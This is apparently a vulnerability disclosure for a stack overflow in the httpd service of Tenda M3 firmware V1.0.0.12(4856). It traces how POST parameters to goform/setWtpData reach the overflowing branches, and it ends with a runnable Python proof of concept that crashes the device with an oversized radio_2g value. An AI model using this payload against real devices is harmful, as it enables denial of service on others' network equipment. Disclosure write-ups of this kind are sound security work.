Overview

• The device's official website: https://www.tenda.com.cn/product/M3.html
• Firmware download website: https://www.tenda.com.cn/download/detail-3133.html

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formSetAPCfg function, which can be accessed via the URL goform/setWtpData.

When the POST parameter op equals "bat", the program will enter if branch at line 139. The program then gets the POST parameters policy_type and radio_2g.

If policy_type is equal to wl_basic_policy, program will enter the if branch at line 180. There is a stack overflow in this if branch.

If policy_type is equal to neither wl_basic_policy nor qVLAN_policy, program will enter the if branch at line 199. There is also a stack overflow in this if branch.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"op": b"bat",
    b"policy_type": b"none",
    b"radio_2g": b"A"*0x400
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/setWtpData", data=data, cookies=cookies)
print(res.content)